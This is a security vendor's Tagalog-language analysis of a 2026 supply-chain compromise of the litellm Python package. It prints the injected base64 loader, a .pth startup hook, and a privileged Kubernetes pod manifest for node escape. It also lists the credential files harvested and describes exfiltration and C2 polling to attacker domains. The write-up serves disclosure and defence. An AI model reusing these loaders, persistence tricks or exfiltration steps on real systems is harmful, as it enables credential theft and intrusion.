Bakit Ito bagay na ito
Noong Marso 24, 2026, ang sikat na pakete ng Python litellm, isang unibersal na LLM proxy gateway na ginagamit ng libu-libong enterpriseAng mga programang nagruruta ng trapiko sa pagitan ng mga aplikasyon at mga AI provider tulad ng OpenAI, Anthropic, Google, at AWS Bedrock, ay tahimik na nakompromiso sa PyPI. Dalawang bersyong may poisoning (1.82.7 at 1.82.8) ang inilathala sa loob ng 13 minuto ng bawat isa, dala ang isang multi-stage payload na nagnakaw ng mga kredensyal, nag-exfiltrate ng mga sikreto sa cloud, kumalat sa mga kumpol ng Kubernetes, at nag-install ng isang persistent backdoor na may mga kakayahan sa remote code execution.
Sa humigit-kumulang 3.6 milyong araw-araw na pag-download at malalim na pag-deploy sa buong imprastraktura ng AI na cloud-native, ang litellm ay nasa sangandaan ng lahat ng hinahangad ng mga modernong attacker: mga API key para sa bawat pangunahing AI provider, mga kredensyal sa cloud IAM, mga sikreto ng Kubernetes, at mga SSH key.
Ngunit ang kompromiso sa litellm ay hindi isang nakahiwalay na pangyayari. Ito ang kulminasyon ng isang limang araw na kampanyang may limang ekosistema ng isang aktor ng pagbabanta na kilala bilang TeamPCP, isang kampanya na unang lumason sa mga security scanner (Aqua Trivy, Checkmarx KICS), pagkatapos ay ginamit ang ninakaw na CI/CD mga kredensyal upang dumaloy pababa sa npm, OpenVSX, at sa huli ay PyPI. Ginamit ng mga umaatake ang mismong mga kagamitang inaasahan ng mga organisasyon upang protektahan ang kanilang mga supply chain.
Ang pag-atakeng ito ay kumakatawan sa isang hakbang na pagbabago sa sopistikasyon ng banta sa supply chain. Ang multi-hop, cross-ecosystem na disenyo, na nagkokompromiso sa mga kagamitan sa seguridad upang maabot ang mataas na halaga Imprastraktura ng AI, sumasalamin sa antas ng pagpaplano at kapanahunan ng operasyon na naaayon sa patuloy na pagiging komoditi ng mga kagamitan sa pag-atake. Ang mga payload ay inulit sa real time (tatlong variant ng payload ang lumilitaw sa source code, kabilang ang mga naunang bersyon na hindi na-comment), ang imprastraktura ng C2 ay nairehistro isang araw bago ang pag-atake, at ang mga exfiltration domain ay maingat na pinili upang gayahin ang lehitimong imprastraktura ng vendor. Ang sistematikong komprehensibong credential harvester, na sumasaklaw sa mahigit 15 kategorya kabilang ang mga niche target tulad ng mga Cardano signing key at mga WireGuard config, ay nagmumungkahi ng isang antas ng masusing paggamit na tumuturo sa pagbuo ng AI-assisted malware bilang isang force multiplier.
timeline
| Petsa (UTC) | pangyayari |
|---|---|
| Marso 19 | Kinokompromiso ng TeamPCP ang mga tag ng Aqua Trivy GitHub Action, pinapalitan ang mga ito ng malisyosong code na lumalabas sa labas CI/CD mga lihim mula sa mga downstream na repositoryo |
| Marso 21 | Ang kompromiso ay umaabot sa Checkmarx KICS at AST GitHub Actions gamit ang mga katulad na pamamaraan |
| Marso 22, 06:35 | Ang BerriAI ay nag-publish ng litellm 1.82.6 (huling malinis na bersyon) sa pamamagitan ng normal CI/CD pipeline na gumagamit ng Trivy para sa pag-scan ng seguridad |
| Marso 23 | Nirerehistro ng TeamPCP ang models.litellm.cloud (exfiltration domain). Nakokompromiso ang mahigit 66 na npm package at mga extension ng OpenVSX |
| Marso 24, 10:39 | Nailathala ang litellm 1.82.7 sa PyPI -- na-inject ang payload proxy_server.py sa saklaw ng modyul. Isinasagawa sa pag-import |
| Marso 24, 10:52 | Inilathala ang litellm 1.82.8 makalipas ang 13 minuto -- mga dagdag litellm_init.pth, isang Python path configuration hook na isinasagawa sa bawat Python interpreter startup, hindi lamang sa mga import ng litellm. Ipinapakita ang mabilis na payload iteration |
| Marso 24, ~16:00 | Inaalis ng PyPI ang parehong bersyon pagkatapos ng mga ulat ng komunidad. Ang mga bersyon ay ganap na binubura (hindi inaalis) mula sa index, bagama't nananatiling naa-access ang mga CDN tarball. |
Panahon ng pagkakalantad: humigit-kumulang 5.5 oras. Sa panahong ito, anumang pip install litellm, pip install --upgrade litellm, o CI/CD pipeline Ang paghila sa pinakabagong bersyon ay magsasagawa sana ng payload.
Paano Nakapasok ang Malware: Ang Sunod-sunod na Kompromiso
Hindi direktang nasira ang litellm package. Naabot ito ng attacker sa pamamagitan ng isang pag-atake sa supply chain na may dalawang-hop na kontrol:
Aqua Trivy GitHub Action (compromised March 19) --> LiteLLM CI/CD pipeline runs Trivy without pinned version --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI LiteLLM's CI/CD pipeline ginamit ang Trivy bilang isang security scanner — ang mismong tool na idinisenyo upang mahuli ang mga kahinaan ay siya mismong vector ng pag-atake. Dahil ang pipeline isinangguni ang Trivy sa pamamagitan ng mutable tag sa halip na isang naka-pin commit SHA, awtomatikong tumakbo ang nakompromisong aksyon. Na-exfilt ng malisyosong aksyon ng Trivy ang mga sikreto ng kapaligiran, kabilang ang PYPI_PUBLISH token, na nagbibigay sa TeamPCP ng direktang access sa paglalathala sa proyektong PyPI ng litellm.
Ang estratehiyang ito na "ikompromiso ang mga guwardiya" ay isang tatak ng kampanya ng TeamPCP. Sa pamamagitan ng pag-target muna sa mga tool sa seguridad (Trivy, Checkmarx KICS), sabay-sabay na hindi pinagana ng mga umaatake ang pag-detect at nagkaroon ng pribilehiyong access sa mga downstream supply chain.
Teknikal na Pagsusuri: Ang Payload
Mga Punto ng Iniksyon
Bersyon 1.82.7 — Pagpapatupad sa antas ng modyul sa litellm/proxy/proxy_server.py (linya 128):
import subprocess, base64, sys, tempfile, os b64_payload = "<~12KB base64 blob>" with tempfile.TemporaryDirectory() as d: p = os.path.join(d, "p.py") with open(p, "wb") as f: f.write(base64.b64decode(b64_payload)) subprocess.run([sys.executable, p]) Ang code na ito ay nasa saklaw ng module sa pagitan ng literal na diksyunaryo at ng orihinal showwarning() tungkulin. Ito ay agad na isinasagawa kapag litellm.proxy.proxy_server ay ini-import — na nangyayari sa anumang paggamit ng proxy functionality ng litellm.
Bersyon 1.82.8 — Idinagdag litellm_init.pth (File ng pagsasaayos ng landas ng Python):
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) Sawa .pth mga file sa site-packages/ ay pinoproseso sa bawat pagsisimula ng interpreter, ngunit ang mga linya lamang na nagsisimula sa import ay isinasagawa bilang code. Sinasamantala ito ng attacker sa pamamagitan ng pag-chain ng buong payload sa isang import pahayag: import os, subprocess, sys; subprocess.Popen(...). Ito ay mas agresibo kaysa sa proxy_server.py injection — gumagana ito kahit na hindi kailanman na-import ang litellm, sa bawat paglulunsad ng proseso ng Python. Ang pyproject.toml binago upang maisama ang file na ito sa distribusyon:
include = [ { path = "litellm_init.pth", format = ["sdist", "wheel"] } ] Kaya naman ang Bersyon 1.82.8 ay mayroong dalawang independiyenteng landas ng pagpapatupad: ang proxy_server.py injection (gumaganap sa litellm proxy import) at ang .pth file (gumaganap sa anumang Python startup). Kapansin-pansin ang redundancy mismo — pinoprotektahan nito ang sarili laban sa pagtuklas o pag-alis ng alinmang path. Ang pagtaas mula sa import-time patungo sa startup-time execution 13 minuto lamang pagkatapos ng 1.82.7 ay nagmumungkahi na sinusubaybayan ng attacker ang tagumpay ng deployment at mabilis na umuulit.
Yugto 1: Komprehensibong Pag-aani ng Kredensyal
Ang na-decode na panloob na script ay isang maingat na kredensyal na vacuum. Gumagamit ito ng os.walk(), glob.glob(), subprocess.check_output(), at direktang babasahin ang file upang walisin ang buong sistema:
| kategorya | Mga Target |
|---|---|
| Pagsusuri ng sistema | hostname, whoami, uname -a, ip addr, printenv, ip route |
| SSH | ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; mga susi ng host mula sa /etc/ssh/ |
| Cloud (AWS) | ~/.aws/credentials, ~/.aws/configMga kredensyal sa tungkulin ng IMDS sa pamamagitan ng 169.254.169.254Tagapamahala ng mga Lihim ListSecretsSSM DescribeParameters |
| Cloud (GCP) | ~/.config/gcloud/ (rekursibo); $GOOGLE_APPLICATION_CREDENTIALS |
| Ulap (Azure) | ~/.azure/ (rekursibo); mga baryabol ng kapaligiran |
| Kubernetes | Mga token ng account ng serbisyo; ca.crt; espasyo ng pangalan; kubectl get secrets --all-namespaces; lahat ng sikreto sa pamamagitan ng K8s API |
| Mga file ng kapaligiran | .env, .env.local, .env.production, .env.development, .env.staging — hinanap nang rekursibo (lalim 6) sa kabuuan /home, /root, /opt, /srv, /var/www, /app, /data, /tmp |
| Manggagawa sa pantalan | ~/.docker/config.json, /kaniko/.docker/config.json |
| Mga token ng pakete | ~/.npmrc, ~/.vault-token, ~/.netrc |
| Databases | ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, mga config ng MongoDB |
| TLS / SSL | Mga pribadong susi mula sa /etc/ssl/private/, I-encrypt Natin ang mga sertipiko, lahat .pem/.key/.p12/.pfx file |
| pumunta | ~/.git-credentials, ~/.gitconfig |
| CI/CD | terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg |
| Crypto wallets | Bitcoin, Ethereum keystore, Solana keypairs (validator, boto, stake, faucet), Cardano signing keys, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero |
| Kasaysayan ng shell | .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history |
| Awtorisasyon ng sistema | /etc/passwd, /etc/shadow, mga auth log (tinatanggap na mga sesyon ng SSH) |
| Mga Webhook/API key | Grep para sa Slack webhooks, Discord webhooks, mga API key/secret sa mga config file |
| VPN | Mga configure ng WireGuard mula sa /etc/wireguard/ |
Ensiklopedya ang saklaw ng harvester na ito. Hindi lamang nito tinatarget ang mga cloud credential kundi pati na rin ang mga cryptocurrency wallet, mga password sa database, mga configuration ng VPN, at CI/CD mga sikreto — na nagmumungkahi na ang umaatake ay nagnanais na pagkakitaan ang mga nakompromisong sistema sa maraming paraan.
Stage 2: Naka-encrypt na Exfiltration
Ang ninakaw na datos ay ini-encrypt at ini-exfiltrate gamit ang isang hybrid encryption scheme:
- AES-256-CBC pag-encrypt ng lahat ng nakolektang datos gamit ang isang random na 32-byte na session key (sa pamamagitan ng
openssl enc) - RSA-4096 pag-encrypt ng session key gamit ang naka-embed na public key ng attacker (OAEP padding, sa pamamagitan ng
openssl pkeyutl) - Parehong naka-bundle ang mga ciphertext file bilang
tpcp.tar.gz(Angtpcpunlapi — “TeamPCP” — ay palaging lumalabas sa buong kampanya) - HTTPS POST papunta sa
https://models.litellm.cloud/saContent-Type: application/octet-stream
Ang domain models.litellm.cloud ay nakarehistro noong Marso 23 — isang araw bago ang pag-atake — at idinisenyo upang pagsamahin sa lehitimong imprastraktura ng litellm (ginagamit ng tunay na proyekto litellm.aiKahit ang isang network-aware defender na sumusuri sa egress traffic ay maaaring hindi mag-flag ng trapiko patungo sa kung ano ang tila sariling model endpoint ng litellm.
Yugto 3: Patuloy na Backdoor (sysmon.py)
Ang payload ay nag-i-install ng polling backdoor na nagbabalatkayo bilang system telemetry:
- Landas:
~/.config/sysmon/sysmon.py - serbisyo:
sysmon.service(systemd user unit, na inilarawan bilang "System Telemetry Service") - Pag-uugaliPagkatapos ng unang 300 segundong pagtulog, ang mga botohan
https://checkmarx.zone/rawbawat ~50 minuto - Pagpapatupad: Dina-download ang URL na ibinalik ng C2 sa
/tmp/pglog, itinatakda ito bilang maipapatupad (chmod 755), pinapatakbo ito sa isang hiwalay na sesyon - Pagsubaybay ng estado:
/tmp/.pg_statepinipigilan ang muling pag-download ng parehong payload - Pagtitiyaga:
Restart=always,RestartSec=10— nakakaligtas sa mga pag-crash at pag-reboot
Ang domain checkmarx.zone ay isang typosquat ng Checkmarx (ang kompanya ng seguridad sa checkmarx.com), dinisenyo upang makita ng mga analyst ng SOC na sumusuri sa mga log ng network ang trapiko patungo sa tila isang lehitimong security vendor. Ito ay isang sinasadyang pamamaraan ng pag-iwas na naaayon sa mas malawak na estratehiya ng TeamPCP na magtago sa likod ng branding ng security vendor.
Yugto 3b: Paggalaw sa Lateral ng Kubernetes
Kung ang nakompromisong sistema ay may mga kredensyal sa Kubernetes service account, iisa-isahin ng malware ang lahat ng cluster node at ide-deploy mga pribilehiyong pod sa bawat isa:
pod_manifest = { 'apiVersion': 'v1', 'kind': 'Pod', 'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'}, 'spec': { 'nodeName': node_name, 'hostPID': True, 'hostNetwork': True, 'tolerations': [{'operator': 'Exists'}], 'containers': [{ 'name': 'setup', 'image': 'alpine:latest', 'command': ['sh', '-c', drop_cmd], 'securityContext': {'privileged': True}, 'volumeMounts': [{'name': 'host', 'mountPath': '/host'}] }], 'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}], 'restartPolicy': 'Never' } } Bawat pod:
- Tumatakbo bilang may pribilehiyo sa
hostPID,hostNetwork, at ganap na access sa host filesystem - Gumagamit
chroot /hostpara i-install ang parehosysmon.pybackdoor sa root filesystem ng host - Irerehistro ito bilang isang systemd service, tinitiyak na ang persistence ay makakaligtas sa pagtanggal ng pod
- Pinangalanan
node-setup-*nasakube-systemnamespace na lilitaw bilang lehitimong imprastraktura ng cluster
Nangangahulugan ito ng isang iisang nakompromiso CI/CD Ang runner na may K8s access ay maaaring magresulta sa backdoored sa bawat node sa cluster — isang mapaminsalang senaryo ng paggalaw sa gilid para sa mga organisasyong nagpapatakbo ng litellm bilang isang proxy sa Kubernetes.
Ebolusyon ng Payload (Mga Baryanteng Hindi Na-comment)
Ang source code sa mga linya 131-132 ay naglalaman ng dalawang naunang na-comment na payload variant, na nagpapakita ng proseso ng pag-develop ng attacker:
- Lahat ng tatlong variant nagbabahagi ng parehong imprastraktura ng exfiltration (
models.litellm.cloud), RSA-4096 public key, AES-256-CBC + RSA hybrid encryption wrapper, attpcp.tar.gzpagpapangalan ng bundle - Mga naunang variant nagdagdag ng isang Patong ng pag-encrypt ng RC4 sa loob ng script ng pangongolekta ng datos, ini-encrypt ang nakolektang datos bago ang panlabas na AES+RSA wrapper. Pinasimple ang aktibong payload (linya 130) sa pamamagitan ng pag-alis ng panloob na RC4 layer na ito
- Ang mga naunang variant ay gumagamit ng
exec()saStringIOcapture para patakbuhin ang collector habang nasa proseso, habang ginagamit ng aktibong payloadsubprocess.run()gamit ang stdout redirect — isang mas malinis na paghihiwalay na umiiwas sa pagdumi sa proseso ng host - Ang lahat ng tatlong variant ay nagta-target ng parehong mga kategorya ng kredensyal at mga landas ng koleksyon
- Ang RC4 key sa mga naunang variant ay isang mapanghamong panlalait, na naaayon sa pag-uugali ng aktor na naghahanap ng atensyon sa Telegram.
Ipinapakita nito ang aktibong pag-unlad sa panahon ng operasyon. Pinasimple ng attacker ang encryption stack at pinahusay ang execution isolation habang pinapanatiling matatag ang mga collection target at exfiltration infrastructure.
Mga Indikasyon ng Kompromiso (IOC)
network
| Nagtuturo | uri | Layunin |
|---|---|---|
models.litellm.cloud | Domain | Exfiltration endpoint (HTTPS POST) |
checkmarx.zone | Domain | C2 polling endpoint (HTTPS GET /raw) |
Paalala: Mga panlabas na link sa pag-uulat checkmarx.zone/static/checkmarx-util-1.0.4.tgz sa naunang yugto ng KICS ng kampanya ng TeamPCP. Hindi natagpuan ang URL na ito sa mga payload ng litellm na sinuri dito.
Mga Hash ng Pakete
| talaksan | SHA256 |
|---|---|
litellm-1.82.7.tar.gz | 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea |
litellm-1.82.8.tar.gz | d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5 |
System ng File
| Nagtuturo | uri | Layunin |
|---|---|---|
~/.config/sysmon/sysmon.py | talaksan | Patuloy na backdoor script |
~/.config/systemd/user/sysmon.service | talaksan | Yunit ng pagtitiyaga ng systemd |
/tmp/pglog | talaksan | Na-download na binary na pangalawang yugto |
/tmp/.pg_state | talaksan | Pagsubaybay sa estado ng C2 |
litellm_init.pth in site-packages/ | talaksan | Python startup hook (v1.82.8 lamang) |
tpcp.tar.gz | talaksan | Naka-encrypt na bundle ng exfiltration |
Kubernetes
| Nagtuturo | uri | Layunin |
|---|---|---|
node-setup-* mga pod sa loob kube-system | Supot ng buto | Mga espesyal na pod para sa paggalaw sa gilid |
sysmon.service sa mga cluster node | serbisyo | Pagtitiyaga sa antas ng host sa pamamagitan ng pod escape |
Cryptographic
| Nagtuturo | Detalye |
|---|---|
| Pampublikong susi ng umaatake na RSA-4096 | SHA256 na tatak ng daliri: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8Naka-embed sa lahat ng tatlong variant ng payload; parehong key ang iniulat sa iba pang mga operasyon ng TeamPCP |
tpcp unlapi sa mga artifact | Kumbensyon sa pagpapangalan ng bundle (tpcp.tar.gz) pare-pareho sa buong kampanya |
Pagpapatungkol: TeamPCP
Ang aktor ng banta sa likod ng kampanyang ito ay sinusubaybayan bilang TeamPCP, kilala rin bilang PCPcat, Persy_PCP, ShellForce, at DeadCatx3.
Mga kilalang katangian:
- Nagpapanatili ng mga channel ng Telegram sa
@Persy_PCPat@teampcpkung saan kinutya nila ang mga kompanya ng seguridad - Gumagana sa maraming ecosystem (GitHub Actions, PyPI, npm, OpenVSX)
- Gumagamit ng mga typosquat domain na partikular sa vendor para sa bawat yugto ng kampanya (hal.,
checkmarx.zonepara sa Checkmarx,models.litellm.cloudpara sa litellm) - Mga pare-parehong marker ng imprastraktura: parehong pares ng RSA key,
tpcp.tar.gzkumbensyon sa pagpapangalan,tpcp-docs-*Mga repositoryo ng GitHub na ginamit bilang dead-drop staging - Tinatarget ang mga kagamitang pangseguridad bilang mga entry point sa mga downstream supply chain
Kumpiyansa sa pagpapatungkol: Mataas. Ang nakabahaging RSA public key, tpcp Ang pagpapangalan ng artifact, pagsasanib ng imprastraktura ng C2, at tempo ng operasyon sa limang-araw na kampanya ay malakas na nag-uugnay sa mga kompromiso ng Trivy, KICS, npm, OpenVSX, at litellm sa iisang aktor.
PagganyakMalamang na pinansyal (pagnanakaw ng crypto wallet, monetization ng cloud credential) na sinamahan ng pagiging sikat (pang-uuyam sa Telegram). Ang lawak ng pagkuha ng kredensyal — mula sa AWS IAM hanggang sa mga keypair ng validator ng Solana hanggang sa mga config ng WireGuard — ay nagmumungkahi ng isang aktor na may motibasyon sa pananalapi na naghahangad na mapakinabangan ang ROI mula sa bawat kompromiso.
Posibleng tulong sa AIAng credential harvester ay sistematikong komprehensibo — mahigit 15 kategorya kabilang ang mga niche target tulad ng Cardano signing keys, WireGuard configs, at Kaniko Docker credentials — sa paraang naaayon sa AI-assisted enumeration. Ang bilis ng payload iteration (tatlong variant na may iba't ibang encryption scheme), cross-ecosystem coordination (5 ecosystem sa loob ng 5 araw), at operational OPSEC (vendor-impersonating domains, hybrid encryption, systemd persistence na nakabalatkayo bilang telemetry) ay nagmumungkahi ng antas ng throughput na maaaring sumasalamin sa AI-assisted development bilang isang force multiplier. Ang pagtatasa na ito ay haka-haka lamang; maaaring makamit ng mga bihasang operator ang katulad na saklaw nang walang AI tooling.
Mga Bagong TTP at Teknik
1. Pagkalason sa Supply Chain ng Kagamitang Pangseguridad (variant na T1195.002)
Ang pagkompromiso sa mga security scanner (Trivy, KICS) bilang unang hakbang upang maabot ang mga downstream target ay isang bagong escalation. Hindi lang isang library ang kinompromiso ng attacker — kinompromiso rin nila ang mga tool na ginagamit ng mga organisasyon para tuklasin mga nakompromisong library. Lumilikha ito ng isang blind spot: ang scanner na dapat makahuli ng malisyosong code ay siya mismong mekanismo ng paghahatid.
2. Sawa .pth Pagtitiyaga ng File (T1546)
Ang litellm_init.pth Ang pamamaraan sa v1.82.8 ay partikular na mapanlinlang. Python .pth mga file sa site-packages/ ay pinoproseso sa bawat pagsisimula ng interpreter; anumang linya na nagsisimula sa import ay isinasagawa bilang code. Sa pamamagitan ng pag-chain ng payload sa isang import pahayag, nakakamit ng attacker ang pagpapatupad sa bawat proseso ng Python — hindi lamang kapag na-import ang litellm. Nangangahulugan ito na gumagana ang payload kahit na naka-install ang litellm ngunit hindi kailanman ginamit, at nakaligtas ito sa remediation na pumapalit sa nakompromisong .py mga file nang hindi tinitingnan .pth file.
3. Kubernetes Cluster-Wide Lateral Movement sa pamamagitan ng Privileged Pod Deployment (T1610, T1611)
Ang awtomatikong paglikha ng mga privileged pod sa bawat cluster node — kasama ang hostPID, hostNetwork, pag-mount ng host filesystem, at chroot para mag-install ng persistence — ikinakabit ang container deployment (T1610) na may escape papunta sa host (T1611) para gawing full cluster compromise ang isang nakompromisong workload.
4. Imprastraktura ng C2 na Nagpapanggap na Vendor
paggamit models.litellm.cloud (ginagaya ang litellm) at checkmarx.zone (ginagaya ang Checkmarx) dahil ang mga C2/exfil endpoint ay idinisenyo upang maiwasan ang pagsubaybay sa network. Ang mga analyst ng SOC na sumusuri sa trapiko ng egress ay makakakita ng mga koneksyon sa HTTPS sa mga tila lehitimong domain ng vendor.
5. Mabilis na Pag-ulit ng Kargamento sa Paglipad
Ang paglalathala ng v1.82.7 na may import-time execution, pagkatapos ay v1.82.8 na may startup-time execution pagkalipas ng 13 minuto, ay nagpapakita ng pagmomonitor at pag-aangkop ng attacker sa real time. Ang mga na-comment na payload variant (na may iba't ibang encryption scheme) na napanatili sa source code ay nagpapatunay ng aktibong pag-develop habang isinasagawa ang operasyon.
Ano ang Maaaring Gawin
Sinasamantala ng pag-atakeng ito ang tiwala sa bawat layer: tiwala sa mga security tool, tiwala sa mga package registry, tiwala sa mga pamilyar na domain, tiwala sa CI/CD automation. Ang pagtatanggol laban dito ay nangangailangan ng pagpapatigas ng bawat isa sa mga hangganan ng tiwala na ito:
Para sa mga Mamimili ng Pakete
- I-pin ang mga dependency ayon sa hash, hindi lang sa bersyon.
pip install litellm==1.82.6 --hash=sha256:...mapipigilan sana ang pag-install ng mga nakompromisong bersyon kahit na sandali lang lumitaw ang mga ito bilang ang pinakabagong bersyon. - Gumamit ng mga lockfile.
pip-compile,poetry.lock, atuv.lockkumuha ng eksaktong mga bersyon at hash. CI/CD dapat i-install mula sa mga lockfile, hindi mula sa mga lumulutang na tagatukoy ng bersyon. - Monitor para sa
.pthfile. Regular na pag-auditsite-packages/para sa hindi inaasahan.pthmga file — isinasagawa ang mga ito sa bawat startup ng Python at isang mekanismo ng persistence na hindi gaanong pinahahalagahan. - Ipatupad ang mga kontrol sa egress network. Ang pag-exfiltration papunta sa
models.litellm.cloudat C2 polling sacheckmarx.zonemaaaring nahuli sa pamamagitan ng allowlist-based egress filtering sa mga production environment.
Para sa mga Tagapangalaga ng Pakete
- aspile CI/CD mga aksyon ni commit SHA, hindi tag. LiteLLM's pipeline gumamit ng Trivy nang walang naka-pin na bersyon. Kung ito ay sumangguni sa
aquasecurity/trivy-action@<commit-sha>sa halip ng@latest, hindi sana naisakatuparan ang nakompromisong aksyon. - Gumamit ng mga panandalian at may saklaw na mga token sa pag-publish. Sinusuportahan ng PyPI ang mga Trusted Publisher (nakabatay sa OIDC) at mga scoped API token. Ang exfiltrated
PYPI_PUBLISHAng token ay hindi dapat nagkaroon ng pangmatagalan at walang limitasyong access sa pag-publish. - Paganahin ang two-factor authentication sa PyPI. Kinakailangan ang 2FA para sa lahat ng maintainer at gamitin ang mga hardware security key kung saan posible.
- Mga pakete ng pag-sign. Ang mga pagpapatunay ng Sigstore/PEP 740 ay nagbibigay-daan sa mga mamimili na beripikahin na ang isang pakete ay ginawa ayon sa inaasahang CI/CD pipeline, hindi ng isang umaatake na may ninakaw na token.
Para sa mga Operator ng Plataporma (PyPI, npm, GitHub)
- Tuklasin ang mga hindi pangkaraniwang pattern ng paglalathala. Ang dalawang bagong bersyon na inilathala nang may pagitan na 13 minuto, mula sa ibang IP o token kaysa sa karaniwan, ay dapat mag-trigger ng hold-for-review o awtomatikong pag-scan bago pa ma-install ang package.
- Pabilisin ang pag-aampon ng mga Trusted Publisher. Iniuugnay ng paglalathala na nakabase sa OIDC ang mga pakete sa mga partikular na repositoryo at daloy ng trabaho, na ginagawang walang silbi ang mga ninakaw na token sa labas ng orihinal CI/CD konteksto.
- Ipatupad ang pag-scan ng malware sa oras ng pag-publish. Ang base64-decoded payload sa proxy_server.py ay matutukoy sa pamamagitan ng static analysis sa oras ng paglalathala.
Para sa Ekosistema
- Ituring ang mga kagamitang pangseguridad bilang kritikal na imprastraktura. Ang Trivy at Checkmarx KICS ay ginagamit ng milyun-milyong pipelines. Ang kanilang mga GitHub Action ay dapat pirmahan, i-pin, at subaybayan nang may parehong higpit tulad ng mga package na kanilang ini-scan.
- Mamuhunan sa pagtukoy ng runtime. Hindi kayang makuha ng static analysis lamang ang lahat ng pamamaraan ng obfuscation. Pagsubaybay sa runtime ng pag-install ng package hooks, mga hindi inaasahang koneksyon sa network, at mga kahina-hinalang pattern ng pag-access sa file ay nagbibigay ng malalimang depensa.
- Mas mabilis na magbahagi ng impormasyon tungkol sa banta. Maaaring mas umikli sana ang 5.5-oras na exposure window para sa litellm kung mas mabilis ang cross-vendor coordination. Natukoy ng mga automated scanning services tulad ng Xygeni MEW, Socket, at Snyk ang anomalya — ang bottleneck ay ang human confirmation at registry response time.
Konklusyon
Ang kampanya ng TeamPCP ay isang mahalagang sandali para sa software supply chain securitySa pamamagitan ng pagkompromiso muna sa mga security scanner at paggamit sa mga ito bilang mga tuntungan patungo sa mataas na halagang imprastraktura ng AI, ipinakita ng mga umaatake na ang supply chain ay kasinglakas lamang ng pinakamahina nitong transitive dependency, at ang dependency na iyon ay maaaring ang tool sa seguridad na pinagkakatiwalaan mo upang mapanatili kang ligtas.
Partikular na binibigyang-diin ng kompromiso sa litellm ang lumalaking panganib sa imprastraktura ng AI. Habang nagiging standard huwaran para sa enterprise Sa pag-deploy ng AI, pinagtutuunan nila ng pansin ang access sa mga API key, cloud credential, at sensitibong data sa iisang component. Ang pagkompromiso sa component na iyon ay isang mahalagang bahagi ng buong AI stack.
Ang mga organisasyong nag-install ng litellm 1.82.7 o 1.82.8 sa loob ng 5.5 oras na palugit ay dapat ituring ito bilang isang ganap na kompromiso sa kredensyal: i-rotate ang lahat ng sikreto sa mga apektadong sistema, i-audit ang mga kumpol ng Kubernetes para sa node-setup-* mga pod sa loob kube-system, alisin ang anumang sysmon.service mga systemd unit, at suriin para sa litellm_init.pth sa Python site-packages/ mga direktoryo. Mga gumagamit ng opisyal na imahe ng Docker (ghcr.io/berriai/litellm) ay hindi naapektuhan, dahil na-pin ng imahe ang mga dependency nito at hindi muling itinayo noong exposure window.
Tungkol sa Author
Co-Founder at CTO
Luis Rodriguez ay Co-Founder at CTO sa Xygeni Security. May mahigit 20 taon na karanasan sa seguridad ng aplikasyon, nakatuon siya sa proteksyon ng AppSec at mga advanced na kakayahan sa code-analysis na tumutulong sa mga koponan na mabawasan ang tunay na panganib sa paghahatid.




